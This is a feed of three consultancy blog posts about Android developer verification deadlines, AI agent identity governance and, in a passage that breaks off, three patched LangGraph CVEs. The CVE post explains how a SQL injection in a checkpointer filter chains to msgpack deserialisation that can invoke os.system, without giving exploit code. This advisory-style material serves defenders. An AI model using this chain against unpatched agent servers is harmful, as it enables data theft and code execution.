DEV Community: Manu Shukla

Android developer verification: 30 September 2026 enforcement in 4 markets, and a six-week remediation plan

Manu Shukla — Wed, 05 Aug 2026 13:12:30 +0000

Android developer verification: 30 September 2026 enforcement in 4 markets, and a six-week remediation plan

Summary. Android developer verification starts being enforced on 30 September 2026 for users in Brazil, Indonesia, Singapore and Thailand, across 7 participating app stores, on all certified Android devices running Android 7 or higher. Google's Android Developers Blog post of 18 June 2026 lists the stores: Google Play, HONOR App Market, OPPO App Market, Galaxy Store, Palm Store, V-Appstore and GetApps. Two dates matter more than the headline one. A D-U-N-S number, required to register as an organisation, can take up to 28 days to issue, so an Indian company starting the paperwork in late August is already tight. And a 15 July 2026 update to the same post warns Play developers that apps left unregistered by 30 September 2026 face removal from Google Play globally, not only in the four launch markets. Registration through the Android Developer Console costs a one-time $25 for a Full Distribution account, about ₹2,400 at the US$1 = INR 95.26 reference rate India Briefing used in May 2026, and is waived for Limited Distribution accounts.

"This rollout is an industry-wide effort to create a safer ecosystem," wrote Matthew Forsythe, Director Product Management, Android App Safety at Google, in the announcement. For an Indian studio with apps in Jakarta, Bangkok, Singapore or Sao Paulo, that industry-wide framing has a practical translation: the same registration record now has to satisfy seven different stores at once.

What actually changes on 30 September

From that date, the seven stores below will verify app installations in the four launch markets. Apps whose developers have not registered are blocked from installing by users on certified Android devices in the applicable regions.

Store	Operator	Why it matters for Indian publishers
Google Play	Google	Primary channel; unregistered Play apps risk global removal, not just regional blocking
Galaxy Store	Samsung	Preinstalled on Samsung devices, so it is rarely the channel you opted into
GetApps	Xiaomi	Ships on Xiaomi hardware; check whether your APK reaches users through it
OPPO App Market	OPlus	Operated by OPlus; in scope for all four launch markets
V-Appstore	vivo	In scope alongside OPPO; the two often ship on sibling hardware
HONOR App Market	Honor	In scope; a separate registration surface from Play
Palm Store	Transsion	Reaches entry-tier Transsion devices; easy to overlook in a Play-first plan

Three scope limits are worth knowing before anyone panics. Enforcement in this phase applies only to those stores; if you distribute through a store not on the list, or users sideload your app directly, the requirement does not apply yet. For distribution outside Google Play, enforcement in the selected regions covers mobile and tablet form factors only, though Google recommends registering everything to future-proof availability. And if you distribute on Google Play at all, your apps across all form factors must be registered, which is the sentence most teams skim past.

Devices in sanctioned countries are excluded from verification checks. Apps distributed through an organisation's own store to managed devices do not need to complete verification, because the IT admin has vetted them, though Google still recommends registering them so installs stay smooth if the app ever arrives from another source.

Global expansion follows in 2027. Treat the September date as the dress rehearsal, not the deadline.

The five things that actually delay teams

Most of this process is a form. The delays come from five specific places, and four of them are outside your engineering team's control.

The D-U-N-S number. Registering as an organisation requires a D-U-N-S number, the nine-digit business identifier from Dun & Bradstreet. It is free, and Google's FAQ states the process can take up to 28 days. Count backwards from 30 September and the safe start date was early September at the latest. If your Indian entity does not already have one from an Apple Developer Program enrolment, this is the long pole and it belongs to finance or company secretarial, not to the mobile team.

Signing key custody. If you use Play App Signing, Google already has what it needs and your eligible apps are part of the automatic registration process. If you hold your own keys, someone has to produce them. Google's FAQ is blunt about the failure case: lose your signing key and you cannot register your packages. There is no recovery path. For studios that inherited apps from a previous vendor, or that shipped an app in 2019 and have not touched the keystore since, this is where the week disappears.

Package name collisions. If a package name is already in use, you may be told your key is not eligible to claim it. Google's guidance is to consider a different package name. You can request registration of a contested name, but it goes to additional review and that package name may also be used by other developers. Changing a live app's package name is not a rename; it is a new listing, a lost install base and a new set of deep links. Check every package you own now, while changing one is still cheap.

The forgotten apps. Over 99% of apps on Play have been registered automatically, which is exactly why the remaining fraction is dangerous: nobody is looking for it. The white-label build for one enterprise client, the regional variant, the app a marketing team shipped in 2021 under a different account. These are the ones that trip the global removal warning.

Multiple accounts. Studios that ship for clients often have apps scattered across several Play Console accounts, some owned by the client. Registration status is per account. There is no single dashboard across accounts, so the inventory has to be assembled by hand, once, and then kept.

A six-week remediation plan

Six weeks is the realistic window if the D-U-N-S number is already in hand. If it is not, start that in week one and run the rest in parallel.

Week	What to do	What breaks if you skip it
1	Start the D-U-N-S application if you do not have one; list every Play Console and Android Developer Console account your organisation or clients control	Up to 28 days of dead time later, with no way to compress it
2	Build the package inventory: every package name you ship, its store, its signing key location and its owner	Forgotten apps stay forgotten until they are removed
3	Confirm signing key custody for every package not on Play App Signing; retrieve keystores from vendors and archive them properly	A package you cannot sign is a package you cannot register, permanently
4	Register through Play Console for Play apps and the Android Developer Console for everything else; resolve any package-name conflicts	Contested names go to review, which you cannot schedule
5	Wire the Android Developer ID Status API into CI so every build checks its own registration state	The next new package ships unregistered and nobody notices
6	Verify status in all three surfaces, then re-check the four launch markets against your store list	You find out on 1 October, from a support ticket

The week five step is the one that separates a fix from a process. Google is shipping two APIs for this. The Android Developer ID Status API checks package name eligibility and registration status. The Android Developer Console API provides programmatic access for registering package names and managing keys. Both support OAuth delegation, so third-party platforms such as app stores can perform these operations on your behalf. Google said the Status API launches globally in July 2026 with early access for the Console API, and that both go global in August 2026.

A build that cannot assert its own registration status is a build that will eventually ship unregistered. Put the check in the pipeline, fail the build on a negative, and the problem stops being seasonal.

Which registration path applies to you

Your situation	Where to register	Fee	Government ID	Notes
Play developer using Play App Signing	Play Console, mostly automatic	Existing Play account	Already provided	Eligible apps are auto-registered; still check Play Console Home
Play developer holding own signing keys	Play Console	Existing Play account	Already provided	You must produce the key to claim the package
Play developer also shipping outside Play	Play Console, single place for both	Existing Play account	Already provided	Google's stated simplification; use one console, not two
Organisation distributing only outside Play	Android Developer Console, Full Distribution	$25 one-time	Yes, plus D-U-N-S number	The D-U-N-S lead time is the constraint
Individual distributing only outside Play	Android Developer Console, Full Distribution	$25 one-time	Yes	Fee described as similar to Play's $25 registration fee
Student, teacher or hobbyist	Android Developer Console, Limited Distribution	Waived	No	Up to 20 devices; scheduled to launch globally August 2026

One trap in that table deserves its own sentence. Google will support migrating a Limited Distribution account to Full Distribution, but not the reverse, so a team that starts on Limited to avoid the ID step cannot quietly walk it back later. Choose the account type once, with the distribution plan you actually have.

What users see, and why updates are the real risk

Android is not closing. Google's FAQ says so directly, and the mechanics support it: users can still install apps from unverified developers through a one-time advanced flow that Google scheduled to launch in August 2026. That flow is deliberately slow. The user enables developer mode, passes a check confirming nobody is coaching them, restarts the phone and reauthenticates, waits a one-day protective period, then confirms with biometrics or a device PIN, and finally chooses to enable installs for 7 days or indefinitely. The 24-hour wait exists specifically to break the manufactured urgency that fraudsters rely on. It is completed once per account and carries across to a new device.

ADB installs are unaffected, with no waiting period, which keeps development and QA workflows intact.

Here is the part that catches product teams. Unregistered apps can only be installed or updated when the advanced flow is enabled or through ADB. If a user disables the advanced flow, updates to unregistered apps fail. So the cost of missing registration is not only lost new installs in four markets. It is a frozen install base that stops receiving your security patches, on a device population you cannot contact.

You can check registration status in three places: the Android developer verification page in Play Console, the Package names tab in the Android Developer Console, and Android Studio itself when generating a signed App Bundle or APK, available in Android Studio Panda 4 and higher. Use the Android Studio surface for day-to-day work, because it puts the answer where an engineer will actually see it.

India-specific considerations

Indian studios and D2C brands are disproportionately exposed here, for a structural reason: Southeast Asia and Brazil are the export markets Indian app teams have leaned into hardest, and they are exactly the four launch markets. An Indian consumer app with meaningful Indonesian or Thai installs is inside the first enforcement wave even though India itself is not.

Three practical notes.

The D-U-N-S requirement lands on the Indian legal entity, not the app. If you ship under a Private Limited company, the D-U-N-S is against that company's registered details, and any mismatch between the name on the Play Console account, the D-U-N-S record and the incorporation certificate becomes a support ticket with a multi-week round trip. Reconcile those three before you apply, not after.

Agency and white-label arrangements are the second problem. A large share of Indian app work ships under the client's developer account, which means the client owns the registration obligation and your team owns the knowledge of which packages exist. Neither side has the full picture. Whoever reads this first should send the other a package list this week.

Third, this deadline collides with others. Play's target API level requirements and the Play Billing Library migration have their own dates, and teams that batch all three into one release train will hit the September window with a large, hard-to-test change set. We sequence these separately for exactly that reason, and have written up the adjacent work in our Android target API 36 migration guide and the Google Play Billing Library 8 migration deadline. For the day-of checklist rather than the remediation plan, see our Android developer verification September 2026 checklist.

Cost-wise, the registration itself is trivial: $25 one-time, roughly ₹2,400, against the engineering time to find keystores and reconcile accounts, which is the real number. Teams comparing that effort against a wider build decision may find our breakdown of India versus US app development cost useful for framing.

What we would do differently from most teams

Two opinions, offered as engineering judgement rather than as Google guidance.

Register everything, not just what is in scope. The four-market, seven-store scoping is real, and it is temporary. Global rollout follows in 2027, and the cost of registering a package you did not strictly have to is a form. The cost of discovering an unregisterable package in 2027, because the keystore left with a contractor in 2022, is the app.

And treat the package inventory as a permanent asset. Most organisations do not have a list of every Android package they ship, with the signing key location and an owner against each. Building one for this deadline takes a few days. Keeping it costs nothing and pays for itself at the next platform requirement, which on the current cadence arrives roughly every quarter. The real cost here is not the registration; it is discovering how little you knew about your own portfolio.

FAQ

When does Android developer verification start being enforced?

Enforcement begins on 30 September 2026 for users in Brazil, Indonesia, Singapore and Thailand, across seven participating app stores, on certified Android devices running Android 7 or higher. Google has said the requirement will expand globally for all apps on certified Android devices in 2027, after incorporating feedback from partners, users and the developer community.

Which app stores are included in the first phase?

Seven stores participate initially: Google Play, Samsung's Galaxy Store, Xiaomi's GetApps, OPlus's OPPO App Market, vivo's V-Appstore, Honor's HONOR App Market, and Transsion's Palm Store. If you distribute through a store not on that list, or users sideload directly, the verification requirement is not enforced for your apps during this initial phase.

Do I need a D-U-N-S number, and how long does it take?

A D-U-N-S number is required if you register as an organisation rather than an individual. It is a nine-digit business identifier issued free by Dun & Bradstreet, and Google's FAQ states the process can take up to 28 days. Start it first, because no part of the remaining work compresses that wait.

What happens to apps I never register?

Unregistered apps are blocked from installation by users on certified Android devices in the applicable regions. Google also warned Play developers to register remaining apps by 30 September 2026 to avoid removal from Google Play globally. Existing installs cannot be updated unless the user has enabled the advanced flow or the install goes through ADB.

What does registration cost?

Registration through the Android Developer Console costs a one-time $25 for a Full Distribution account, which Google describes as similar to the existing $25 Play registration fee. The fee is waived for Limited Distribution accounts, aimed at students, teachers and hobbyists, which allow distribution to up to 20 devices without a government ID.

Can I automate registration in my CI/CD pipeline?

Yes. Google confirmed the APIs are designed for bulk registration and for use directly in continuous integration and deployment pipelines. The Android Developer ID Status API checks package name eligibility and registration status; the Android Developer Console API registers package names and manages keys. Both support OAuth delegation for third-party platforms.

What if I have lost the signing key for an old app?

Google's FAQ states plainly that if you lose your signing key you will not be able to register your packages, and recommends a secure key management solution. There is no documented recovery path. Apps using Play App Signing are unaffected, because Google already holds the information needed to identify ownership and register them automatically.

Can users still install apps from unverified developers?

Yes, through a one-time advanced flow that launched in August 2026. The user enables developer mode, confirms nobody is coaching them, restarts and reauthenticates, waits a one-day protective period, then verifies with biometrics or a PIN. They can then enable installs for seven days or indefinitely. ADB installs are unaffected by the waiting period.

How eCorpIT can help

eCorpIT is a Gurugram-based technology consultancy founded in 2021, and this deadline is the kind of unglamorous portfolio work our senior engineering teams handle for app studios and D2C brands shipping into Southeast Asia and Brazil. We build the package inventory across every Play Console and Android Developer Console account you or your clients control, track down and properly archive signing keys, resolve package-name conflicts before they go to review, register through the right console for each app, and wire the Android Developer ID Status API into your CI so new packages cannot ship unregistered. We are CMMI Level 5 appraised, MSME certified and ISO 27001:2022 certified, and we work as a Google partner across Android and Play. If you are not sure how many Android packages your organisation actually ships, contact us and we will start with the inventory. Related work sits in our Android target API 36 migration service and Android vitals remediation service, and the wider picture in our enterprise mobile app development guide.

References

Android developer verification: building a safer ecosystem together - Android Developers Blog, 18 June 2026, updated 15 July 2026
Android developer verification frequently asked questions - Android Developers, last updated 22 July 2026
Register on Android Developer Console - Android Developers
Limited distribution accounts - Android Developers
Android developer verification overview - Android Developers
Get started with an Android Developer Console account - Android Developer Console Help
Understanding Android developer verification - Android Developer Console Help
Google sets Sept. 30 deadline for Android developer verification in four countries - The Hacker News, June 2026
Google sets timeline for Android developer verification enforcement - Help Net Security, 19 June 2026
Android developer verification: the 2026 timeline - Technology.org, 19 June 2026
Get a D-U-N-S number - Dun & Bradstreet
Android developer verification: rolling out to all developers on Play Console and Android Developer Console - Android Developers Blog, March 2026
India's DPDP timeline: critical compliance deadlines for 2026-27 - India Briefing, 11 May 2026, source of the US$1 = INR 95.26 reference rate
Certified Android partners - Android

Last updated: 5 August 2026.

AI agent identity governance: 109 machine identities per human, and what Okta's $200M Permiso deal signals

Manu Shukla — Wed, 05 Aug 2026 13:05:06 +0000

AI agent identity governance: 109 machine identities per human, and what Okta's $200M Permiso deal signals

Summary. On 30 July 2026 Okta signed a definitive agreement to acquire Permiso Security, a platform that detects threats across human, non-human and agentic identities; a source told TechCrunch the price was about $200 million. The number that explains the deal comes from a different vendor: Palo Alto Networks' 2026 Identity Security Landscape report puts the average enterprise at 109 machine identities for every human identity, with respondents expecting AI agent counts to grow 85% over the next 12 months. Check Point's 2026 Cloud Security Report found 64% of organisations already run AI agents in pilot or production and 12% have granted them privileged access to critical systems. Microsoft priced its answer in May: Agent 365 went generally available on 1 May 2026 at $15 per user per month, licensed per human user rather than per agent. For Indian companies there is a second clock: using AI for sizable decision-making or profiling is one of the criteria that can make you a Significant Data Fiduciary under the DPDP framework, which brings a mandatory DPO, an independent audit and a DPIA, with penalties reaching ₹250 crore.

The strategic read is simple. Identity vendors have concluded that authentication is no longer the control that matters, because agents authenticate correctly and then do something unexpected. What they are racing to sell is runtime behaviour: what did this agent actually touch, and can you stop it in the next few seconds.

What Okta actually bought

Permiso is a cloud-native identity security platform covering human, non-human and agentic identities across multi-cloud environments. Okta's announcement describes the detection surface in unusually specific terms: more than 2,500 research-driven signals across over 70 identity partners, used to surface overprivileged access, unused permissions, anomalous agent behaviour and tool usage, policy violations, and high blast-radius behaviour in real time.

Four capabilities are named for after the close. Detection across all identity types by combining authentication signals with behavioural analytics. Continuous identification of risky behaviour across AI agents running locally, on SaaS platforms or in cloud environments. A dynamic sandbox called SandyClaw that detonates AI agent skills and prompts to catch AI supply-chain attacks before they reach customer environments. And automated response that investigates and contains compromised or misconfigured agents in real time.

The third of those is the one worth pausing on. Sandboxing an agent skill treats the skill file the way endpoint security treats an executable: unknown code from a third party, detonated before it runs. That is a different mental model from prompt filtering, and it is a direct response to the supply-chain pattern the industry has been living through, from poisoned packages to poisoned agent instructions.

Permiso's P0 Labs research team joins Okta alongside Okta Threat Intelligence. The transaction is expected to close in the third quarter of Okta's fiscal year 2027 and Okta said it expects no impact on the guidance it issued on 27 May 2026.

Ely Kahn, Chief Product Officer at Okta, framed the purchase around the mixed workforce: "We're thrilled to welcome Permiso to Okta as we help companies secure their agentic enterprises where humans, applications, service accounts, and AI agents work together."

The customer voice in the same announcement is more useful than the vendor one. Sebastian Goodwin, Chief Trust Officer at Autodesk, said: "When you need to secure enterprise AI at scale, visibility and threat detection are non-negotiable. Permiso gives Autodesk the ability to discover and monitor all identities across our environment, making it an important part of our broader cloud security strategy." Discover and monitor. Not authenticate. That is the shift.

The number everyone quotes, and why it is four different numbers

Every vendor deck in this category opens with a machine-to-human identity ratio. They do not agree, and the spread is wide enough to change what you budget.

Source	Reported ratio	Published	What that tells you
Palo Alto Networks, 2026 Identity Security Landscape	109 machine identities per human	May 2026	The figure most cited in 2026 agent-identity marketing
GitGuardian, 2026 State of Secrets Sprawl	80 to 1	2026	Counts through the lens of leaked and sprawling secrets
ManageEngine, 2026 Identity Security Outlook	100 to 1, with some organisations at 500 to 1	2026	Shows how much the tail matters; averages hide the worst case
KPMG, 2026 Cybersecurity Considerations	80 to 1 in the average enterprise	2026	Advisory framing aimed at CISOs and boards
Composite of four published 2025-2026 ratios	Roughly 79 to 1, median 77 to 1	2026	The averages land well below the headline figure

The honest reading is that nobody is counting the same thing. Some counts include every TLS certificate and service account; others count only credentialed workload identities. Treat any single ratio as a directional argument for funding, not as an input to a capacity model. Then go count your own, because your number is the only one that determines how big the problem is for you.

What the Palo Alto data adds beyond the headline is the growth split: respondents expect AI agents to grow 85% over the next 12 months, machine identities 77%, and human identities 56%. Every category is growing. Agents are simply growing fastest, off a base that is already ungoverned.

The control gap is not a detection gap, it is a lifecycle gap

Palo Alto's respondents could mostly explain the purpose of their AI agents. Far fewer could define what those agents can access, how that access is limited, when permissions get revoked, or which systems can inherit that access. Environments still lack behavioural monitoring, credential revocation and shutdown mechanisms for agents, and they continue to rely on permanent privileged access rather than just-in-time controls.

The same report describes an executive perception gap worth quoting to your own leadership: C-suite executives believe their companies enforce least privilege because they are looking at human access, while security practitioners disagree because machines and automated systems run a growing share of operations.

Check Point's survey data lines up. Only 5% of respondents said they have full visibility into which AI tools employees use, how those tools are accessed, and where sensitive data goes once it enters an AI system. Only 17% said they have broadly deployed runtime controls that inspect and enforce policy on LLM inputs and outputs. Only 22% said their web application firewall or WAAP is effective against GenAI-specific attacks such as prompt injection, while 71% reported more false positives after adopting generative AI workloads. And 42% said workers bypass AI security controls when those controls slow them down.

Put those next to the adoption figures — 64% with agents in pilot or production, 12% with agents holding privileged access to critical systems — and the shape of the problem is clear. Deployment is ahead of instrumentation by a wide margin. Check Point's own summary of the gap: 77% of organisations have changed their security strategy in response to AI, but only 26% believe their architecture can actually support AI workloads without a major redesign, a 51-point readiness gap.

Fragmentation makes the response slower too. Unit 42 examined more than 750 cyber incidents in 2025 and found that 87% required evidence from two or more distinct sources to establish what happened, with complex incidents needing as many as 10. Practitioners reported that fragmented tooling adds an average of 12 hours to identity-related incidents. Twelve hours is a long time when the actor on the other side is a process, not a person.

What the platforms actually ship

Three approaches are on the table in 2026. This is where they differ.

Capability	Okta plus Permiso (after close)	Microsoft Agent 365 with Entra Agent ID	Build it yourself
Agent registry and lifecycle	Identity security fabric extended across human, non-human and agentic identities	Register agent identities in Entra; manage lifecycle and access packages through Identity Governance	A table in your own directory, plus whatever your framework exposes
Policy at access time	Authentication signals combined with behavioural analytics	Conditional Access applied to agent access attempts; requires an Agent 365 licence	Your own gateway, enforced per call
Runtime behaviour detection	Over 2,500 signals across 70+ identity partners, including anomalous agent behaviour and tool usage	Agent sign-in signals feed Identity Protection	Your own telemetry pipeline and detection rules
Skill and prompt inspection	SandyClaw dynamic sandbox detonation for agent skills and prompts	Not described as a sandbox in the GA announcement	Static review, if anyone has time
Automated containment	Investigate and contain compromised or misconfigured agents in real time	Governance and protection through the Entra stack	Custom kill-switch, usually a manual runbook
Commercial model	Capabilities land after the deal closes in Okta's fiscal Q3 2027	$15 per user per month standalone, also included with Microsoft 365 E7, licensed per human user	Engineering time, ongoing

Two things stand out. First, Microsoft's per-human-user licensing means your bill tracks headcount rather than agent count, which is generous if you run many agents per person and expensive if you run few. Second, Okta's most differentiated capability, skill sandboxing, is not available to you today: it arrives when the transaction closes, expected in Okta's fiscal Q3 2027. If you have agents in production now, you are building or buying something in the interim regardless.

The pattern in both roadmaps is the same and it is the useful takeaway even if you buy neither. Agent governance is being assembled out of four layers: a registry, a policy point at access time, runtime behavioural telemetry, and a containment action. If you are building, build those four. If you are buying, ask which of the four the product actually covers today rather than on a slide.

A 90-day build order

You do not need a platform decision to start. You need an inventory, because every subsequent control depends on it, and because the vendors' own data says most organisations cannot answer the first question.

Phase	What to do	Evidence you can show an auditor
Days 1-15	Enumerate every credential an agent holds: model provider keys, database roles, SaaS tokens, internal API clients	A list of agent identities with an owner, a purpose and an expiry per credential
Days 16-30	Give every agent its own identity. No shared service accounts, no borrowed human credentials	A one-to-one mapping between running agents and directory principals
Days 31-45	Scope permissions to the narrowest set that keeps the agent working, and remove standing privilege	A before-and-after permission diff per agent
Days 46-60	Log every tool call the agent makes, with the identity, the target and the parameters	Queryable tool-call telemetry with a retention period
Days 61-75	Write the kill switch and test it. Revoking one agent must not take down the fleet	A timed drill record showing revocation and recovery
Days 76-90	Set alert thresholds on blast-radius behaviour: new target systems, permission escalation, unusual call volume	Alert definitions plus at least one tuned true positive

Two of these are commonly skipped and both are the expensive ones to retrofit. Per-agent identity is skipped because a shared service account is faster on day one, and it destroys attribution permanently: once three agents share a principal you cannot answer which one touched the record. Tool-call logging is skipped because the volume looks frightening, and without it the containment step has nothing to trigger on.

The kill-switch drill deserves a specific note. Most teams discover during the drill that revoking an agent's credential also breaks a batch job, a webhook receiver and a dashboard, because the same credential was quietly reused. Finding that in a drill costs an afternoon. Finding it during an incident costs the incident.

Why authentication stopped being the control

The reason identity vendors are buying detection companies is that the failure mode changed. A compromised human account looks wrong at login: strange geography, strange device, strange hour. A compromised agent looks perfect at login, because it is using the credential it was issued, from the infrastructure it always runs on, at a time it always runs. Everything anomalous happens afterwards.

Palo Alto's report states this plainly: single sign-on and multi-factor authentication help secure logins, but they do not control what users, tokens, connectors or automated systems can reach after authentication. More than half of participants said they cannot consistently enforce least privilege for service accounts across cloud, SaaS and on-premises systems.

This is the same lesson the agent framework CVEs taught from the other direction. When we walked through the LangGraph checkpointer RCE chain, the damage estimate had nothing to do with the CVSS score and everything to do with what credentials sat in the runtime the payload landed in. Blast radius is the unit of analysis. An agent's identity is just the ledger of that blast radius, which is why governing it is the highest-use control available.

That framing also decides build-versus-buy. If your agents hold three read-only API keys, a directory entry and good logging get you most of the way, and a per-user licence is hard to justify. If your agents hold write access to a payments system or a patient record store, you are in the 12% Check Point described, and the runtime detection layer is not optional. We work through the layer model in more depth in enterprise AI agent governance layers and, for fleets, in governing multi-agent systems.

What this does not solve

Identity governance bounds what an agent can reach. It does nothing about what an agent can be persuaded to do inside those bounds. An agent with legitimate access to a customer database, hijacked by an injected instruction, produces perfectly authorised queries that exfiltrate exactly what it was allowed to see. No amount of least privilege catches that, because the access was granted.

The two controls are complements, not substitutes. Identity governance decides the ceiling; input-handling controls decide the behaviour under that ceiling. Teams that buy one and skip the other tend to skip the second, which is why we treat prompt injection guardrails for AI agents as a separate workstream with its own owner.

The other unresolved problem is delegated authority. When an agent acts for a user, whose permissions apply, and how does the downstream system tell? Okta's Cross App Access work, announced with an expanding partner ecosystem on 23 June 2026, is aimed at this, and Microsoft's per-human-user licensing implicitly assumes an agent is always acting on someone's behalf. Neither is a finished answer. Until one exists, write down the delegation model your agents use, because your auditor will ask and the honest answer today is usually "the agent has its own standing rights and we call that delegation".

India-specific considerations

There is a compliance trigger here that Indian teams keep missing, and it does not depend on the size of your agent fleet.

Under the DPDP framework, an organisation can be designated a Significant Data Fiduciary on any of several criteria, and one of them is risk profile: processing sensitive data such as health or finance information, or using AI for sizable decision-making or profiling. The other two common triggers are processing the data of 5 million or more residents and annual turnover of INR 2.5 billion, roughly US$26.24 million. A mid-size Indian company that would never hit the user-count or turnover thresholds can land inside SDF scope purely by putting a decisioning agent into a customer workflow.

The obligations that follow are concrete and dated. By the first quarter of 2027, SDFs are expected to have appointed an India-based Data Protection Officer reporting to the board, engaged an independent data auditor, and completed a Data Protection Impact Assessment for high-risk processing. Full enforcement, with the Data Protection Board of India exercising its adjudicatory powers and penalties up to INR 2.5 billion for major violations, is widely expected on 13-14 May 2027. Soft enforcement is expected to end around November 2026.

Three practical consequences for an Indian engineering team running agents. Your agent inventory is DPIA input, so build it in a form an auditor can read rather than a spreadsheet someone maintains by hand. Your tool-call logs are the evidence that supports "we can demonstrate what accessed this personal data", which is the hardest claim to retrofit. And per-agent identity is what makes a breach report specific instead of speculative, because "one of our agents" is not an answer a regulator accepts. The wider sequencing sits in our DPDP Act engineering playbook.

One more India-specific note on cost. The per-human-user licensing model that Microsoft chose is comparatively favourable for Indian teams, where agent-to-engineer ratios tend to run high in cost-conscious builds. Do the arithmetic on your actual agent count before assuming a per-agent model would have been cheaper. For the broader production readiness picture, see our guide to enterprise AI agents in production.

FAQ

What did Okta announce about Permiso Security?

On 30 July 2026 Okta signed a definitive agreement to acquire Permiso Security, a cloud-native platform that detects and mitigates threats across human, non-human and agentic identities in multi-cloud environments. A source told TechCrunch the price was about $200 million. The transaction is expected to close in the third quarter of Okta's fiscal year 2027.

How many machine identities does a typical enterprise have?

Palo Alto Networks' 2026 Identity Security Landscape report puts the average at 109 machine identities per human identity. Other 2026 reports disagree: GitGuardian and KPMG both publish 80 to 1, and ManageEngine reports 100 to 1 with some organisations reaching 500 to 1. Count your own environment rather than adopting a vendor figure.

What does Microsoft Agent 365 cost?

Agent 365 became generally available on 1 May 2026 at $15 per user per month as a standalone licence, and it is also included with Microsoft 365 E7. It is licensed per human user, meaning the person who manages, sponsors or is served by an agent, rather than per agent. Conditional Access for agents requires that licence.

Why is authentication no longer enough for AI agents?

A compromised agent authenticates correctly, from its usual infrastructure, at its usual time, so nothing looks wrong at login. Palo Alto's report notes that single sign-on and multi-factor authentication do not control what tokens, connectors or automated systems reach after authentication. Detection has to move to runtime behaviour rather than credential presentation.

What is SandyClaw and why does it matter?

SandyClaw is Permiso's dynamic sandbox for AI agent skills, described by Okta as the first platform to bring dynamic sandbox detonation to agent skills. It uses behavioural analysis and a multi-engine detection stack to catch AI supply-chain attacks in agent skills and prompts before they reach customer environments, treating third-party skills like untrusted executables.

Can deploying AI agents make an Indian company an SDF?

Yes, potentially. Significant Data Fiduciary designation criteria include a risk profile based on processing sensitive health or financial data, or using AI for sizable decision-making or profiling. That is independent of the 5 million resident and INR 2.5 billion turnover thresholds, so a mid-size company can enter scope through a decisioning agent alone.

What should we build first if we cannot buy a platform yet?

Start with an inventory of every credential each agent holds, then give every agent its own directory identity rather than a shared service account. Attribution is impossible to retrofit once agents share a principal. After that, scope permissions down, log every tool call, and test a per-agent kill switch under drill conditions.

Does identity governance stop prompt injection?

No. Identity governance bounds what an agent can reach; it does not change what the agent does inside those bounds. A hijacked agent with legitimate database access issues perfectly authorised queries. Input-handling controls and identity controls are complements, and teams that buy only one usually skip the input-handling side.

How eCorpIT can help

eCorpIT's senior engineering teams build and govern production AI agent systems for companies in India and abroad. The work described above is what we do: inventory the credentials your agents actually hold, give each agent its own identity and a scoped permission set, instrument tool-call telemetry an auditor can read, and drill the kill switch before you need it. We are ISO 27001:2022 certified and CMMI Level 5 appraised, and we design applications aligned with DPDP requirements. If you have agents in production and no answer to "what can this one reach", contact us and we will scope an agent identity review.

References

Okta signs definitive agreement to acquire Permiso Security - Okta newsroom, 30 July 2026
Okta buys AI security startup Permiso, source says for about $200M - TechCrunch, 30 July 2026
Okta acquires Permiso for AI identity threat detection - CyberScoop, 2026
Machine identities outnumber humans 109 to 1 - Help Net Security on the Palo Alto Networks 2026 Identity Security Landscape report, 14 May 2026
Check Point's 2026 Cloud Security Report: Securing the AI Transformation - Unite.AI summary of the Check Point and Cybersecurity Insiders survey, 26 May 2026
AI adoption creates critical cloud security gaps for enterprises - Check Point Software press release, 2026
Microsoft 365 E7 and Agent 365 are now generally available - Microsoft 365 Blog, 1 May 2026
Governing agent identities: Microsoft Entra ID Governance - Microsoft Learn
Microsoft Agent 365 overview - Microsoft Learn
Why non-human identities are your biggest security blind spot in 2026 - CSO Online, 2026
Machine identity statistics 2026: non-human identity ratios and secrets sprawl - Axis Intelligence composite of published 2025-2026 ratios
KPMG 2026 cybersecurity report identifies non-human identities as a critical CISO priority - Non-Human Identity news, 2026
India's DPDP timeline: critical compliance deadlines for 2026-27 - India Briefing, 11 May 2026
Okta advances the industry standard for secure AI agent connections with expanding Cross App Access ecosystem - Okta newsroom, 23 June 2026

Last updated: 5 August 2026.

3 LangGraph CVEs chain to RCE: the checkpointer version matrix and a 30-minute audit

Manu Shukla — Wed, 05 Aug 2026 12:59:19 +0000

3 LangGraph CVEs chain to RCE: the checkpointer version matrix and a 30-minute audit

Summary. Three now-patched LangGraph flaws let an attacker walk from a metadata filter string to code execution on a self-hosted agent server. Check Point researcher Yarden Porat reported all three: CVE-2025-67644 (CVSS 7.3, SQL injection in the SQLite checkpointer), CVE-2026-28277 (CVSS 6.8, unsafe msgpack deserialization in LangGraph itself) and CVE-2026-27022 (CVSS 6.5, RediSearch query injection in the JavaScript Redis checkpointer). The first two chain. The Hacker News published the details on 12 June 2026; the msgpack advisory, GHSA-g48c-2wqr-h844, went to the GitHub Advisory Database on 5 March 2026 with CWE-502 and an EPSS score of 0.332%. Fixed versions are langgraph-checkpoint-sqlite 3.0.1, langgraph 1.0.10 and @langchain/langgraph-checkpoint-redis 1.0.2. LangChain's managed LangSmith Deployment is not affected.

The reason this matters more than the CVSS numbers suggest: Check Point's 2026 Cloud Security Report found 64% of organisations already have AI agents in pilot or production and 12% have granted those agents privileged access to core systems. An agent runtime holds LLM API keys, database credentials and conversation state. In India, personal data sitting in that state is squarely inside the Digital Personal Data Protection Act 2023, where the Data Protection Board can levy up to ₹250 crore (about $26 million) per major violation. A checkpoint table is not a cache. It is a credential-adjacent datastore that your application deserialises into live Python objects.

What actually broke

LangGraph persists agent state as checkpoints. Every superstep writes a serialised snapshot of the graph's channels to whatever backing store you configured, and get_state_history() reads them back so an agent can resume, branch or replay a thread. The three flaws sit at two different layers of that path: the query that finds a checkpoint, and the decoder that turns its bytes back into objects.

CVE-2025-67644: SQL injection through metadata filter keys

The SQLite checkpointer's _metadata_predicate() builds its WHERE clause with f-string interpolation. User-supplied metadata filter keys land directly in the SQL text, including inside json_extract expressions, with no parameterisation and no escaping. Any application that passes an untrusted filter dictionary into a checkpoint search hands the attacker query control. GitLab's advisory database records the affected range as langgraph-checkpoint-sqlite 3.0.0 and below, fixed in 3.0.1, carrying a CVSS score of 7.3 under GHSA-9rwj-6rc7-p77c.

On its own, this leaks. An attacker bypasses the thread filter and reads every checkpoint row in the table: other users' conversation state, thread identifiers, whatever metadata your graph writes. For a multi-tenant agent that is already a reportable incident.

CVE-2026-28277: msgpack deserialisation that rebuilds arbitrary Python objects

LangGraph's JsonPlusSerializer encodes checkpoints as msgpack, and its decoder handles extension types by reconstructing Python objects. The GitHub advisory describes the pattern as equivalent to getattr(importlib.import_module(module_name), callable_name)(arguments). Any importable callable, invoked with attacker-supplied arguments. That includes os.system and subprocess.Popen.

